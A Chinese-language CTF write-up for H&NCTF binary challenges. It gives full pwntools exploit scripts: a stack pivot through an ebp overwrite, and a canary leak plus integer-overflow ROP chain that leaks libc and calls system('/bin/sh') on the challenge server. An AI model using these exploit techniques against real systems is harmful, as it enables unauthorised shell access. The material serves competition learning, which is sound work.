1.ez_pwn
直接看危險函數,不能溢出,只能覆蓋ebp。
后面緊接的又是leave,ret
很明顯是棧遷移,通過printf打印出ebp,通過偏移計算出棧地址。
通過gdb調試,偏移是0x38
以下是payload:
from pwn import *
#io=process('./pwn')
io=remote('hnctf.imxbt.cn',24589)
elf=ELF('./pwn')
system=elf.sym['system']
io.recvuntil(b"Welcome to H&NCTF, my friend. What's your name?\n")
payload=b'a'*0x2b+b'b'
io.send(payload)
io.recvuntil(b'b')
stack=u32(io.recv(4))-0x38
print('stack:',hex(stack))
io.recv()
payload=b'ls'.ljust(8,b'\x00')+p32(system)+p32(0)+p32(stack+0x14)+b'/bin/sh'.ljust(0x18,b'\00')+p32(stack+4)
io.send(payload)
io.interactive()
2.idea
這是vuln函數
有canary保護
format也只能讀6個,只能用來泄露信息
但我們觀察到,get_n的參數是usigned int,存在整型溢出漏洞。
思路很明顯了,通過printf泄露canary,然后通過整型溢出漏洞,讓v1為-1,然后構造rop鏈。
以下是代碼
from pwn import *
#io=process('./idea')
#from LibcSearcher import *
io=remote('hnctf.imxbt.cn',23496)
elf=ELF('./idea')
#libc=ELF('./libc-2.23.so')
puts=elf.sym['puts']
got=elf.got['puts']
vul=elf.sym['vuln']
io.recvuntil(b"How many bytes do you want me to read?")
io.sendline(b'-1')
io.recvuntil(b"Ok, sounds good. I'll give u a gift!\n")
io.sendline(b'%7$p')
canary=int(io.recv(10),16)
print('canary:',hex(canary))
io.recvuntil(b'data!\n')
payload=b'aab'.ljust(0x20,b'\x00')+p32(canary)+b'a'*0xc+p32(puts)+p32(vul)+p32(got)
io.sendline(payload)
io.recvuntil(b'b\n')
puts=u32(io.recv(4))
print('puts',hex(puts))
system=puts-0x24800
bsh=puts+0xf9fdb
io.recvuntil(b"How many bytes do you want me to read?")
io.sendline(b'-1')
io.recvuntil(b"Ok, sounds good. I'll give u a gift!\n")
io.sendline(b'%7$p')
canary=int(io.recv(10),16)
print('canary:',hex(canary))
io.recvuntil(b'data!\n')
payload=b'aab'.ljust(0x20,b'\x00')+p32(canary)+b'a'*0xc+p32(system)+p32(0)+p32(bsh)
io.sendline(payload)
io.interactive()
這題沒給libc,有時候LibcSearcher也不全,推薦下面這個網站
libc database search (blukat.me)
3.close
沒什么好說的